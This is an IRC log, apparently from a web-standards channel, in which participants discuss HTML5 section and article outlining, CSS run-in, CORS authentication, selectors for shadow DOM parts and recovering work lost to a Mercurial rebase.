[02:22:00.0000] <jgraham>
/me is confused

[02:22:01.0000] <Figaroo>
here use this to see http://gsnedders.html5.org/outliner/

[02:22:02.0000] <hsivonen>
Twitter algorithms need some tuning, I guess: https://twitter.com/#!/similar_to/MrLastWeek

[02:23:00.0000] <jgraham>
Figaroo: I was going to point *you* to that

[02:23:01.0000] <jgraham>
Figaroo: I don't understand what you are saying, really

[02:23:02.0000] <Figaroo>
hang on I'm using the tool :P

[02:24:00.0000] <jgraham>
hsivonen: That gives a blank page for me

[02:27:00.0000] <Figaroo>
jsgraham foo is the child of baz http://gsnedders.html5.org/outliner/process.py?url=http://jsbin.com/isadu3

[02:27:01.0000] <hsivonen>
jgraham: I suppose it only works for logged in users then

[02:28:00.0000] <Figaroo>
here's the source http://jsbin.com/isadu3/edit

[02:28:01.0000] <hsivonen>
jgraham: anyway Twitter's mighty algorithms suggest TimBL as "similar"

[02:28:02.0000] <zcorpan>
maybe TimBL actually is MrLastWeek

[02:29:00.0000] <Figaroo>
who's MrLastWeek?

[02:35:00.0000] <jgraham>
Figaroo: I heard a rumor it's TimBL

[02:39:00.0000] <jgraham>
Figaroo: I meant http://jsbin.com/isadu3/3/

[02:39:01.0000] <Ms2ger>
Yay, we're finally dropping run-in!

[02:40:00.0000] <zcorpan>
Ms2ger: what?

[02:40:01.0000] <Ms2ger>
From CSS2.1

[02:40:02.0000] <jgraham>
/me must not say anything involving the words "run" "out" and "patience"

[02:40:03.0000] <Figaroo>
jgraham, easy, baz is at the same level as bar.

[02:40:04.0000] <zcorpan>
Ms2ger: will it have a come-back or is the plan to remove it from browsers too?

[02:41:00.0000] <jgraham>
Figaroo: Why is that easy?

[02:41:01.0000] <hsivonen>
My thesis uses run-in.

[02:41:02.0000] <Ms2ger>
No, it'll be back in CSS3

[02:41:03.0000] <jgraham>
zcorpan: The point is it's too buggy in browsers to get CSS2.1 to REC

[02:41:04.0000] <zcorpan>
i see

[02:41:05.0000] <jgraham>
Figaroo: An equally logical model would make baz a child of bar

[02:42:00.0000] <jgraham>
The <h2> creates an implicit <section> afterall

[02:42:01.0000] <Figaroo>
Why isn't it? A section is a like a child tree that full directly under it's parent.

[02:42:02.0000] <jgraham>
it just happens that HTML adopted a model where explict sections can never be children of implicit sections

[02:43:00.0000] <Figaroo>
why would we want that?

[02:43:01.0000] <jgraham>
Want what?

[02:43:02.0000] <erlehmann>
hsivonen, twitter algorithms reliably point a fake account some friends of mine made to famous german bloggers (whom i know personally, but we are definitely not alike).

[02:43:03.0000] <Figaroo>
Why would we want explict sections to be children of implicit sections?

[02:44:00.0000] <jgraham>
Because that makes as much sense as having them not be children? It seems arbitary to me

[02:47:00.0000] <Figaroo>
I'm not sure I understand. You're saying that whether or not explicit sections can be children of implicit sections makes sense equally?

[02:48:00.0000] <jgraham>
Yes, I'm saying that you could easily imagine either model being true, so it is a confusing

[02:49:00.0000] <zcorpan>
i think it'd be more convenient if explicit sections could be children of implicit sections

[02:49:01.0000] <zcorpan>
so you can use implicit sections in general and throw in an <aside> somewhere without fucking up the outline

[02:50:00.0000] <zcorpan>
now if you want to throw in an <aside>, you need to change everything to also throw in explicit <section>s everywhere just to make the outline as it was before throwing in the <aside>

[02:50:01.0000] <Figaroo>
It seems like HTML wanted to adopted XHTML's explicitness without losing backwards compatibility.

[02:51:00.0000] <jgraham>
Figaroo: That is more or less it

[02:51:01.0000] <jgraham>
zcorpan: That seems like a reasonable point

[02:51:02.0000] <jgraham>
Dunno why we have the current design

[02:52:00.0000] <Figaroo>
but with this backwards compatibilty you have the benifit of the short, quick implicitness of multiple <h>s for every section.

[02:52:01.0000] <Figaroo>
HTML5 I think is trying to encourage the use of only h1.

[02:53:00.0000] <Figaroo>
...and, encourage the use of explicit sections.

[02:53:01.0000] <AryehGregor>
The problem I have with explicit sections is then they have to be nested correctly, which usually is fine but not always.

[02:53:02.0000] <Figaroo>
AryehGregor, why not always?

[02:53:03.0000] <AryehGregor>
In particular, it doesn't work at all for MediaWiki, since you can do things like <table><tr><th><h1>Foo</h1></th>...

[02:53:04.0000] <AryehGregor>
So we can't automatically add <section>s to user input.

[02:54:00.0000] <AryehGregor>
Even though it would work 98.2% of the time.

[02:54:01.0000] <AryehGregor>
Which is sad.

[02:54:02.0000] <AryehGregor>
But I guess unavoidable.

[02:54:03.0000] <zcorpan>
/me files a bug

[02:54:04.0000] <jgraham>
Headings in tables just seems wrong

[02:55:00.0000] <AryehGregor>
Well, it's allowed.

[02:55:01.0000] <AryehGregor>
Also, why does it seem wrong?

[02:55:02.0000] <jgraham>
Because a table is a table?

[02:55:03.0000] <AryehGregor>
So?

[02:55:04.0000] <AryehGregor>
You can have a table that's so big you want to break it into sections.

[02:55:05.0000] <AryehGregor>
That's what <thead> and <tbody> are for.

[02:55:06.0000] <AryehGregor>
You can put <thead>s in the middle, right?

[02:56:00.0000] <AryehGregor>
/me checks

[02:56:01.0000] <jgraham>
/me doesn't think so

[02:56:02.0000] <AryehGregor>
No, you can't.

[02:56:03.0000] <AryehGregor>
Hmm.

[02:56:04.0000] <jgraham>
But I still don't understand why you would want a <hx> in the table

[02:56:05.0000] <AryehGregor>
You mean, you could just stick in some <th>'s if it has multiple sections?

[02:56:06.0000] <jgraham>
If it's so long that you break it into multiple *tables* then <hx> goes in the surrounding page

[02:57:00.0000] <AryehGregor>
In MediaWiki's case specifically, <hx> allows section editing.  More generally, I dunno, users do crazy things.

[02:57:01.0000] <jgraham>
I can see that the <section> model is hard to implement in wikitext

[02:58:00.0000] <AryehGregor>
It would be great except for the nesting issue.  Sections aren't required to be self-contained, you can have sections that are only partially wrapped in a tag.

[02:58:01.0000] <jgraham>
But I don't see what the use cases are that it couldn't cover given a sifficiently advanced implementation

[03:00:00.0000] <Figaroo>
Is <article> a sort of section element?

[03:00:01.0000] <AryehGregor>
I really need to figure out something productive I can do when I only have a random hour or so to spare, which doesn't require too much mental effort but also isn't totally useless.

[03:00:02.0000] <jgraham>
Figaroo: yes

[03:00:03.0000] <Figaroo>
why have it if we got section already?

[03:00:04.0000] <AryehGregor>
Currently I'm occupying myself by memorizing IDF ranks and insignia, which surely is not the most useful thing I could be doing at the moment.

[03:01:00.0000] <jgraham>
That doesn't strike me as the most useful thing to do at any moment

[03:01:01.0000] <jgraham>
But it my be a matter of perspective

[03:01:02.0000] <jgraham>
*may

[03:01:03.0000] <Figaroo>
why do we need article if we have section?

[03:01:04.0000] <jgraham>
They mean different things

[03:02:00.0000] <jgraham>
<section> is generally part of a larger work

[03:02:01.0000] <jgraham>
<article> is a freestanding piece of content

[03:02:02.0000] <jgraham>
(<article> is a bit like <body> except without all the magic to do with only having one per page)

[03:02:03.0000] <AryehGregor>
Presumably it would be useful to someone who served in the IDF.  It seems like it would be useful to know whether someone is, e.g., a general.

[03:03:00.0000] <AryehGregor>
Although perhaps in practice the way it works is you start only having to know "anyone with insignia is above me", and then pick things up from there with practice.

[03:03:01.0000] <jgraham>
So in e.g. a newspaper you can have multiple <section>s each containing multiple <article> and each <article> can contain many <section>s

[03:03:02.0000] <AryehGregor>
Anyway, I memorized the officer ranks and insignia for the U.S. Army when I was about seven.

[03:04:00.0000] <jgraham>
/me remembers that AryehGregor has a full suit of armour; things start to make more sense

[03:04:01.0000] <AryehGregor>
Surely many small boys have an infatuation with the military.

[03:05:00.0000] <AryehGregor>
Anyway, I was just in Israel, and you've got tons of soldiers walking around there, and I couldn't even tell a sergeant from a major.  :(

[03:05:01.0000] <AryehGregor>
(Clearly I should have memorized the ranks *before* I visited)

[03:05:02.0000] <Figaroo>
why couldn't the multiple sections just contain multiple sections; what's the point of having another tag name? Did someone here say earlier that new elements are expensive or something?

[03:06:00.0000] <AryehGregor>
Some people say "new elements are expensive", but that's a very silly way to put things.

[03:06:01.0000] <AryehGregor>
It's new features that are expensive.

[03:06:02.0000] <AryehGregor>
The way Raymond Chen puts it is "new features start at -100 points" or such.

[03:07:00.0000] <Figaroo>
My point is, what's the purpose in have a separate name for article?

[03:07:01.0000] <Figaroo>
why couldn't it all be sections

[03:07:02.0000] <AryehGregor>
As far as things go, adding a new element is a very minor cost.  Things like, I dunno, microdata are a lot more expensive.  And things like <iframe sandbox> are way way way more expensive.

[03:08:00.0000] <Figaroo>
forget that I mentioned expensive. I'm just trying to figure out why there's the extra element where section could have been perfectly capable?

[03:09:00.0000] <AryehGregor>
They mean different things, supposedly.

[03:09:01.0000] <AryehGregor>
I think <article> is supposed to be a self-contained unit of content, while <section> is generally not self-contained.

[03:10:00.0000] <AryehGregor>
So <article> would be like a blog post, and <section> would be like sections of a paper.

[03:10:01.0000] <jgraham>
The difference between <section> and <article> has been debated. It makes sense to me but ymmv

[03:10:02.0000] <AryehGregor>
Nobody's going to realize the difference, though.

[03:10:03.0000] <AryehGregor>
In practice.

[03:11:00.0000] <Figaroo>
ymmv?

[03:12:00.0000] <jgraham>
Your Mileage May Vary

[03:12:01.0000] <AryehGregor>
Man, Israelis love minimally distinguishable abbreviations.  Turai, Rabat, Samal, Samar, Rasal, Rasar, Rasam, Rasab, Ranag, Sagam, Sagar, Seren, Rasan, Sa'al, Alam, Ta'al, Aluf, Ra'al.  Seriously?

[03:12:02.0000] <AryehGregor>
Rasal, Rasar, Rasam, Rasab.  In that order.

[03:12:03.0000] <AryehGregor>
Then Rasan is much higher.

[03:13:00.0000] <AryehGregor>
I guess it's more useful than being glued to Facebook or Twitter when I can't think of anything else to do.

[03:13:01.0000] <AryehGregor>
At least I'm learning something.

[03:15:00.0000] <Philip`>
You should spend all your free time writing HTML tests

[03:15:01.0000] <AryehGregor>
A possibility.

[03:15:02.0000] <AryehGregor>
That requires mental effort, though.

[03:15:03.0000] <Philip`>
Write a script to randomly pick a sentence in the spec that contains the word "must", then write a test for it, then repeat

[03:16:00.0000] <Ms2ger>
How do you define "sentence"?

[03:16:01.0000] <Ms2ger>
Or "word", for that matter?

[03:17:00.0000] <AryehGregor>
Just have it randomly pick an occurrence of the word "must".

[03:17:01.0000] <annevk>
hsivonen, hahahaha

[03:18:00.0000] <annevk>
hsivonen, Mr Last Week is the W3C

[03:18:01.0000] <annevk>
it all makes sense now :)

[03:18:02.0000] <AryehGregor>
"the W3C"?

[03:18:03.0000] <annevk>
the similar to twitter link

[03:18:04.0000] <jgraham>
AryehGregor: Write a script so that we can link tests to sentences in the spec! Philip` has even done most of it for you…

[03:20:00.0000] <Figaroo>
what if you wanted all of your site's sections to be self-contained?

[03:20:01.0000] <Figaroo>
Would that mean you'd use nothing but sections?

[03:20:02.0000] <AryehGregor>
/me is now going through http://commons.wikimedia.org/wiki/Category:Military_people_of_Israel_by_name and identifying the ranks of every picture where someone is wearing rank insignia

[03:20:03.0000] <Figaroo>
I mean articles*

[03:20:04.0000] <foolip_>
Figaroo, then your site is probably a blog

[03:20:05.0000] <AryehGregor>
Sure, no one says you have to use <section>.

[03:20:06.0000] <foolip_>
and that's fine

[03:21:00.0000] <foolip_>
FWIW, there's an algorithm for converting HTML to Atom that relies on <article>

[03:22:00.0000] <Figaroo>
articles define their own outline level right?

[03:22:01.0000] <foolip_>
I think so, yes

[03:23:00.0000] <foolip_>
so it's more or less <section class=syndicatable>

[03:25:00.0000] <Figaroo>
w/etf syndicatable means. :P

[03:26:00.0000] <Figaroo>
Alright, so. What's up with header and footer; apparently you can have more than one of these, but why would you want more than one of them?

[03:29:00.0000] <Philip`>
/me notes that his spec-annotation script is probably wildly inscalable, since it checks every assertion pattern against every paragraph in the document, which isn't ideal when you have ~3000 assertions

[03:30:00.0000] <AryehGregor>
Philip`, just change it so the assertions are ordered.

[03:30:01.0000] <Ms2ger>
/me still likes the CSSWG's approach

[03:30:02.0000] <AryehGregor>
And do it by scanning the document until you find a paragraph that meets the next assertion.

[03:30:03.0000] <Philip`>
What approach is that?

[03:30:04.0000] <AryehGregor>
Then it's one comparison per document paragraph, so it's O(N) in document size.

[03:31:00.0000] <Ms2ger>
Just have <link>s in the test

[03:32:00.0000] <jgraham>
Ms2ger: Having required markup in HTML tests is bad

[03:32:01.0000] <Ms2ger>
Meh

[03:32:02.0000] <Philip`>
AryehGregor: Hmm, that might work, though it might cause horrible cascading error reports if one assertion doesn't match where you expected it to (e.g. because the spec changed)

[03:32:03.0000] <jgraham>
(even the scripts are rather bad)

[03:32:04.0000] <Figaroo>
is Niels here?

[03:32:05.0000] <Ms2ger>
It wouldn't matter in the majority of cases

[03:33:00.0000] <jgraham>
Ms2ger: Also you would end up having to generate the <link> elements somehow for files containing thousands of tests

[03:33:01.0000] <jgraham>
And the spec doesn't have the right granularity of <link>s

[03:33:02.0000] <jgraham>
Like per-clause

[03:33:03.0000] <jgraham>
I mean ids

[03:34:00.0000] <jgraham>
not <links>

[03:42:00.0000] <Figaroo>
what would you suggest I do if I had a bar at the top of my page that had a search field on the right and some extra links on the left, then I had a centered 900 pixel width box in the center with the logo at and navigation below it, then content within this box. What elements would you think would go well with this type of design?

[03:46:00.0000] <Evet>
so which framework/library you suggest for mobile web apps?

[03:47:00.0000] <Figaroo>
Here's the desgin I'm working with. What would be the best HTML5 layout for this http://i.imgur.com/3ClkR.png ???

[03:54:00.0000] <Figaroo>
Should I separate the page into three sections off the bat; one untitled section for the top gutter, one for the main page area, and then one for the footer?

[03:57:00.0000] <Figaroo>
Is it a good idea to just put a section immediately after within the body without a heading preceding it?

[05:25:00.0000] <Figaroo>
if there are multiple header elements on your page, how do you select the main header for styling?

[05:28:00.0000] <loucapo>
hi everyone

[05:29:00.0000] <Figaroo>
Anyone know?

[05:29:01.0000] <loucapo>
anyone here experience 401s when using HTML5 for CORS POSTing to a domain that requires basic auth?

[05:30:00.0000] <loucapo>
happenong in chrome and FF only

[05:57:00.0000] <loucapo>
anyone here experience 401s when using HTML5 for CORS POSTing to a domain that requires basic auth?

[06:05:00.0000] <annevk>
loucapo, no need to ask twice

[06:05:01.0000] <annevk>
loucapo, and that is per spec

[06:05:02.0000] <annevk>
loucapo, well, the Authorization header needs to be in the list of allowed headers and you need to create it yourself using script

[06:06:00.0000] <annevk>
loucapo, that ought to work, not sure if it does

[06:07:00.0000] <loucapo>
hmm i see

[06:08:00.0000] <loucapo>
thx fr the info!

[06:43:00.0000] <matjas>
TabAtkins: Ping

[06:51:00.0000] <zcorpan>
sad that many games in https://gaming.mozillalabs.com/games/finalists block opera

[06:54:00.0000] <hsivonen>
zcorpan: it it clear why?

[06:54:01.0000] <Ms2ger>
Ugh, really?

[06:56:00.0000] <zcorpan>
dunno why

[06:59:00.0000] <hsivonen>
ouch. MathML 3 has a role attribute for non-ARIA purposes

[07:02:00.0000] <jgraham>
zcorpan: So far 1 worked, 1 blocked me for mo WebGL, 1 blocked me for no fb account, 1 seems broken in Opera

[07:03:00.0000] <Workshiva>
mo WebGL, mo problems

[07:03:01.0000] <jgraham>
:p

[07:04:00.0000] <jgraham>
+1 working +1 blocked

[07:04:01.0000] <jgraham>
/me is bored of trying them now

[07:08:00.0000] <zcorpan>
http://pixza.com/ when trying to play redirects to http://pixza.com/league/browser.php in opera which says "The page you are looking for does not exist."

[07:30:00.0000] <miketaylr>
very few of these types of contests care much about interop, i think only js1k had that as a requirement

[07:32:00.0000] <hsivonen>
miketaylr: I thought Mozilla's competition required multiple browsers

[07:33:00.0000] <hsivonen>
not sure if it was simply Gecko and one other engine

[07:33:01.0000] <miketaylr>
hsivonen: i guess you're right "Entries should be fully operational games, built to run in Firefox 4 and other modern Web browsers"

[07:33:02.0000] <jgraham>
One entry Said Firefox 3.6 & 4

[07:33:03.0000] <jgraham>
Does that count?

[07:33:04.0000] <miketaylr>
according to https://gaming.mozillalabs.com/rules

[07:34:00.0000] <miketaylr>
heh, technically it might, jgraham

[07:35:00.0000] <Ms2ger>
3.6 is hardly a modern browser ;)

[07:36:00.0000] <jgraham>
Anyway it only says "should"

[07:37:00.0000] <Ms2ger>
This isn't a spec, should is must-level ;)

[07:37:01.0000] <AryehGregor>
"The Contest is void in Cuba, Iran, Province of Quebec (Canada), North Korea, Sudan, Syria, Union of Myanmar, and where prohibited by law or restricted by law or regulations."

[07:37:02.0000] <AryehGregor>
Are they making some kind of statement about Canadians there?

[07:37:03.0000] <Ms2ger>
"Entry must be compatible with and function properly in the then-current final product version of Firefox 4 and other modern web browsers without plug-ins"

[07:37:04.0000] <Ms2ger>
Says the real rules

[07:37:05.0000] <jgraham>
Almost all competitions are illegal in Quebec

[07:38:00.0000] <AryehGregor>
Really?  Even totally skill-based competitions?

[07:38:01.0000] <jgraham>
Well illegal is wrong

[07:38:02.0000] <hsivonen>
jgraham: are competitions illegal or does Quebec require drafting all rules in French or something?

[07:38:03.0000] <AryehGregor>
/me also suspected it might be because it had to be in French :P

[07:38:04.0000] <jgraham>
No, I think they have strong rules about lotteries or something

[07:39:00.0000] <jgraham>
And so it is lots of effort to prove that your competition is not an illegal lottery

[07:39:01.0000] <jgraham>
So instead you are just not allowed to enter

[07:39:02.0000] <AryehGregor>
I thought Americans were the ones who were anti-lottery.

[07:39:03.0000] <hsivonen>
AryehGregor: in Finland, holding a lottery requires a license

[07:41:00.0000] <AryehGregor>
I remember reading about some guy who ran a British gambling site with lots of American customers, who was arrested when he visited America because his site didn't comply with American gambling laws.

[07:41:01.0000] <AryehGregor>
(some British gambling sites started blocking America after that :P)

[07:42:00.0000] <Workshiva>
Quebec probably also requires that everything (including prizes) be available in French too :P

[07:43:00.0000] <AryehGregor>
The contest rules say submissions have to be in English.

[07:43:01.0000] <AryehGregor>
I just think it's amusing that Quebec is on the same list as  Cuba, Iran, North Korea, Sudan, Syria, and Myanmar.

[07:43:02.0000] <AryehGregor>
Most of those are under U.S. embargo, aren't they?  At least the first three.

[07:44:00.0000] <Rik`>
there is more judges than finalists for this competition

[07:44:01.0000] <Rik`>
*are

[07:44:02.0000] <AryehGregor>
The judges presumably had to judge everyone, not just the finalists, so that makes sense.

[07:44:03.0000] <AryehGregor>
Okay, now let me stop wasting time and get back to work.  Yay, Selections!

[07:46:00.0000] <karlcow>
/me had not seen the fineprint https://gaming.mozillalabs.com/fineprint

[07:47:00.0000] <karlcow>
gorgeous

[07:49:00.0000] <jgraham>
http://searchwarp.com/swa9752.htm

[07:49:01.0000] <jgraham>
Not legal advice but the sort of thing I had heard

[07:50:00.0000] <karlcow>
lotteries/contests are controlled by the state of Quebec and have very strict rules.

[07:52:00.0000] <hsivonen>
it seems the rules lack a definition of "other modern web browsers"

[08:35:00.0000] <AryehGregor>
Oh, hmm, I haven't tested extend() in tables at all . . .

[08:35:01.0000] <AryehGregor>
That probably has totally magical and unique behavior.

[08:35:02.0000] <AryehGregor>
/me tests, with trepidation

[08:35:03.0000] <Ms2ger>
Oh, right, I was going to mention tables

[08:35:04.0000] <AryehGregor>
And I had just gotten Firefox to pass all of my tests, except where it throws the wrong exception type or one corner case where I think its behavior is just a bug.

[08:37:00.0000] <AryehGregor>
Out of almost 9000 tests, Opera passes less than 100.

[08:37:01.0000] <AryehGregor>
Awesome.

[08:38:00.0000] <AryehGregor>
/me sighs, starts looking at tables

[08:40:00.0000] <Ms2ger>
Speaking of Opera, is meter stylable, and are there docs on that?

[08:44:00.0000] <AryehGregor>
Ms2ger, is there actually magic extend() behavior for tables?  I don't see it, offhand.

[08:44:01.0000] <AryehGregor>
/me throws some tables into the tests and see if they start failing things

[08:45:00.0000] <Ms2ger>
Dunno, I just noticed table-specific code in Gecko's implementation, not sure if that was for extend

[08:46:00.0000] <AryehGregor>
I don't notice table-specific handling in the extend() code.

[08:46:01.0000] <AryehGregor>
I'll just optimistically assume that there isn't any for now.

[08:47:00.0000] <AryehGregor>
Although probably I'll have to face it sooner or later.

[08:47:01.0000] <AryehGregor>
Okay, so Gecko really does let you have multiple selections at once, and no other browser does.  Weird.

[08:49:00.0000] <karlcow>
AryehGregor: do you know the source of failure for the tests in Opera

[08:49:01.0000] <AryehGregor>
karlcow, presumably it just doesn't implement anything more than vaguely similar to what Gecko does.

[08:49:02.0000] <AryehGregor>
I doubt it would make sense to make a list of specific things, the relevant code probably just needs to be rewritten to spec.

[08:50:00.0000] <AryehGregor>
Which winds up being pretty simple, by the way: http://aryeh.name/tmp/dom-range.html#dom-selection-extend

[08:52:00.0000] <dglazkov>
annevk: you around?

[08:53:00.0000] <dglazkov>
wanna bounce a few css selector-ey questions off of you

[08:53:01.0000] <dglazkov>
TabAtkins, annevk: so I realized that pseudo-element style selector doesn't really work well for the shadow DOM.

[08:53:02.0000] <dglazkov>
I think we need a whole different syntax

[08:55:00.0000] <dglazkov>
the problem is in that we have to nest and/or combine them with pseudo-classes and it looks a) ugleee b) illegal.

[08:55:01.0000] <TabAtkins>
It's only illegal because no one's had to do it before.

[08:55:02.0000] <dglazkov>
suppose I want to style the knob on the timeline of a video element in it's active state:

[08:55:03.0000] <dglazkov>
video::timeline::thumb:active

[08:55:04.0000] <dglazkov>
wat

[08:56:00.0000] <TabAtkins>
Yes?

[08:56:01.0000] <dglazkov>
it would be much more elegant like this:

[08:56:02.0000] <dglazkov>
video part(timeline) part(thumb):active

[08:56:03.0000] <dglazkov>
where "part" is up for bike-shedding.

[08:56:04.0000] <TabAtkins>
video ::part(timeline) ::part(thumb):active

[08:57:00.0000] <dglazkov>
does it have to have the double-colons?

[08:57:01.0000] <TabAtkins>
Not necessarily, but then you really are defining a new type of selector.

[08:57:02.0000] <dglazkov>
yay! is that a bad thing? :)

[08:57:03.0000] <TabAtkins>
Not necessarily. ^_^

[08:58:00.0000] <dglazkov>
I think it feels more like a descendant selector.

[08:58:01.0000] <dglazkov>
so I want it to kind of look like one

[08:58:02.0000] <dglazkov>
(space and everything)

[08:58:03.0000] <dglazkov>
just thinking outloud

[08:59:00.0000] <TabAtkins>
I dunno.  I mean, pseudoelements already are descendants, right?  foo::before has ::before being the child of foo.

[08:59:01.0000] <TabAtkins>
Now, on the other hand, if pseudoclasses can apply to the parts, then that's more confusing.

[08:59:02.0000] <TabAtkins>
video::timeline:focus::thumb:active lolwut

[09:00:00.0000] <dglazkov>
that's a good example too

[09:00:01.0000] <dglazkov>
in WebKit today, there's much hard-coding around cases like this.

[09:01:00.0000] <dglazkov>
I'll write this up in the use cases document

[09:01:01.0000] <dglazkov>
and hopefully annevk and Hixie would chip in with their bright ideas, too. And then we'll have a pizza party

[09:01:02.0000] <TabAtkins>
Okay, since we're doing this in a general, distributed, composable fashion, I think I agree that it's saner to lean on the structure of selectors and make them look like descendants.

[09:03:00.0000] <TabAtkins>
matjas: pong

[09:06:00.0000] <AryehGregor>
WTF.

[09:06:01.0000] <AryehGregor>
hg pull --rebase dumped me into some kind of incomprehensible three-way diff.

[09:06:02.0000] <AryehGregor>
I tried exiting, and it happily reported the rebase was successful.

[09:07:00.0000] <AryehGregor>
If it ate my changes, I'm going to kill someone.

[09:07:01.0000] <AryehGregor>
I hate hg.

[09:07:02.0000] <AryehGregor>
Is there a hg-git bridge, by any chance?  A la git-svn?

[09:08:00.0000] <AryehGregor>
Yes, completely ate my changes.

[09:08:01.0000] <AryehGregor>
I have a cached copy of the Anolis output, but can anyone suggest some way to recover my old source document?  If the answer is "rebase destroys stuff irrecoverably", I'm going to be *extremely* annoyed at hg.

[09:09:00.0000] <Philip`>
Does it do a bundle backup by default?

[09:09:01.0000] <AryehGregor>
(git never ever destroys anything, except if it's old or you explicitly tell it to)

[09:09:02.0000] <AryehGregor>
I have no idea what a bundle backup is.

[09:09:03.0000] <Philip`>
like in .hg/strip-backup/

[09:09:04.0000] <AryehGregor>
"hg rollback" seems not to work.

[09:09:05.0000] <Philip`>
like what http://mercurial.selenic.com/bts/msg11265 says

[09:09:06.0000] <AryehGregor>
I see a file there.

[09:10:00.0000] <Philip`>
/me has never used this himself

[09:10:01.0000] <AryehGregor>
Unbundling it does nothing.

[09:11:00.0000] <Philip`>
/me reads more of that bug thread

[09:11:01.0000] <Philip`>
"The bundle produced is a consequence of the use of strip, but it's really not intended to provide a means to restore the old branch."

[09:12:00.0000] <Philip`>
unless you're using Hg 1.6 in which case maybe the bug is fixed

[09:13:00.0000] <AryehGregor>
So in other words, hg destroys data while rebasing and there's no way to recover it if you made a mistake while rebasing.

[09:13:01.0000] <AryehGregor>
Okay, well, I keep filesystem backups on my server, maybe one of those is usefully recent.

[09:14:00.0000] <Philip`>
On <1.6 it sounds like that's probably the case

[09:14:01.0000] <AryehGregor>
Have I ever mentioned that git is better than hg?

[09:14:02.0000] <Philip`>
I'm not sure you have

[09:15:00.0000] <AryehGregor>
Okay, well, consider it mentioned.

[09:15:01.0000] <Philip`>
Does your text editor not keep backups?

[09:15:02.0000] <AryehGregor>
Not after I close it.

[09:15:03.0000] <Philip`>
Ah

[09:15:04.0000] <AryehGregor>
I've got a 40-minute-old backup of the source text, I should be able to recover okay combined with the output page.

[09:15:05.0000] <dglazkov>
TabAtkins: http://wiki.whatwg.org/wiki/Component_Model_Use_Cases#Nesting_Pseudo_Elements_and_Mixing_with_Pseudo_Classes

[09:16:00.0000] <AryehGregor>
But ARGH, what a horrifyingly broken VCS.

[09:16:01.0000] <Ms2ger>
Well, rebase is horribly broken

[09:16:02.0000] <AryehGregor>
Rebase in hg is horribly broken, I assume you mean.

[09:16:03.0000] <AryehGregor>
I guess I'll try doing merges instead.

[09:16:04.0000] <Ms2ger>
mq has never eaten my changes, at least

[09:17:00.0000] <AryehGregor>
Now how can I get rid of this empty tip commit?

[09:17:01.0000] <Philip`>
(Git doesn't seem particularly immune to data loss either, like if you accidentally run "git reset --hard")

[09:17:02.0000] <AryehGregor>
Philip`, the data is still there.

[09:17:03.0000] <AryehGregor>
As long as you have the SHA1 of the old head.

[09:17:04.0000] <AryehGregor>
You can still check it out and such.

[09:17:05.0000] <AryehGregor>
Detached revisions like that are only garbage-collected once in a while by default.

[09:18:00.0000] <Ms2ger>
hg qimp -r tip -n empty && hg qpo && hg qrm empty

[09:18:01.0000] <AryehGregor>
If you don't have the SHA1 of the old head, you can still poke around and look at all the detached revisions to find it.

[09:18:02.0000] <Philip`>
Uncommitted unstaged data won't still be there, I think

[09:18:03.0000] <AryehGregor>
Well, if you've never committed or staged it, of course not.

[09:18:04.0000] <AryehGregor>
Then the VCS can't be expected to preserve it.

[09:18:05.0000] <AryehGregor>
I committed this to hg and it still ate it.

[09:18:06.0000] <AryehGregor>
Ms2ger, hg: unknown command 'qimp'

[09:19:00.0000] <Philip`>
Have you (prepare to be annoyed by Hg again) enabled the hgext.mq extension?

[09:19:01.0000] <Ms2ger>
Add [extensions]\nmq= to ~/.hgrc

[09:20:00.0000] <AryehGregor>
Ms2ger, how can that command be adapted to ditch a whole bunch of revisions, like to go back to r203?

[09:20:01.0000] <AryehGregor>
I think that's what I originally based my work on.

[09:20:02.0000] <Philip`>
AryehGregor: The VCS could be expected to preserve any data that it's about to overwrite or delete and that isn't already saved somewhere permanent

[09:21:00.0000] <AryehGregor>
Philip`, it could be, yes, but does any VCS do that?

[09:21:01.0000] <Philip`>
Probably not

[09:21:02.0000] <Philip`>
but they should

[09:21:03.0000] <Ms2ger>
Hmm

[09:22:00.0000] <Ms2ger>
hg strip rev

[09:22:01.0000] <AryehGregor>
Ah, thanks.

[09:22:02.0000] <Ms2ger>
Which does make a backup

[09:25:00.0000] <TabAtkins>
http://blogs.wsj.com/venturecapital/2011/01/25/with-plenty-of-cash-facebook-targets-growing-mobile-market/

[09:25:01.0000] <TabAtkins>
They're targetting HTML5 so they can stop supporting 7 different versions for mobile.

[09:27:00.0000] <AryehGregor>
What's the difference between "hg diff" and "hg diff -r tip"?  They're telling me different things for some reason.

[09:27:01.0000] <matjas>
TabAtkins: re: http://lists.w3.org/Archives/Public/public-css-commits/feed.rss, any chance of having the commit messages as <title> for each item instead of the rather cryptic stuff that’s in there now?

[09:27:02.0000] <Ms2ger>
matjas, no

[09:28:00.0000] <TabAtkins>
I've already asked the systeam.  They think it'd be easy, but they're working on something feed-related already, so probably wont' get to it for a while.

[09:28:01.0000] <Philip`>
AryehGregor: Is your working directory on tip?

[09:28:02.0000] <TabAtkins>
Now, if someone wants to help me figure out how to receive email in PHP, I can do the rest.

[09:28:03.0000] <matjas>
Ms2ger: Couldn’t you guys re-use the system @whatwg is using? It’s open-source and everything

[09:28:04.0000] <matjas>
TabAtkins: Ah, good to hear. Thanks.

[09:29:00.0000] <Ms2ger>
Not my call, I'd do it immediately ;)

[09:29:01.0000] <AryehGregor>
Philip`, what does that mean?

[09:29:02.0000] <matjas>
TabAtkins: Well, there’s imap_open() http://php.net/imap_open

[09:30:00.0000] <Philip`>
AryehGregor: The tip revision is the most recent changeset, and you might have updated to a different revision before making the local changes that you're diffing against that revision and against tip

[09:30:01.0000] <AryehGregor>
Philip`, so how do I tell?

[09:30:02.0000] <Philip`>
"hg id" maybe

[09:34:00.0000] <AryehGregor>
Okay, so somehow when I committed, it had a parent of 203 instead of tip . . . well, whatever, I don't care.

[09:34:01.0000] <AryehGregor>
As long as it merges properly.

[09:34:02.0000] <Ms2ger>
/me crossesfingers

[09:35:00.0000] <AryehGregor>
What the heck is this merging interface that it throws at me with no instructions?

[09:35:01.0000] <AryehGregor>
This is why my previous rebase failed, I just tried to quit and it interpreted that as "ignore all my changes".

[09:36:00.0000] <AryehGregor>
It seems to have opened up three side-by-side windows in vim, but it helpfully fails to tell me what to do with them.

[09:39:00.0000] <Ms2ger>
https://developer.mozilla.org/en/Mercurial_basics#Avoiding_trouble, btw

[09:40:00.0000] <TabAtkins>
Btw, if anyone's curious about what's going on in Egypt, there's a live feed in English: http://english.aljazeera.net/watch_now/

[09:40:01.0000] <AryehGregor>
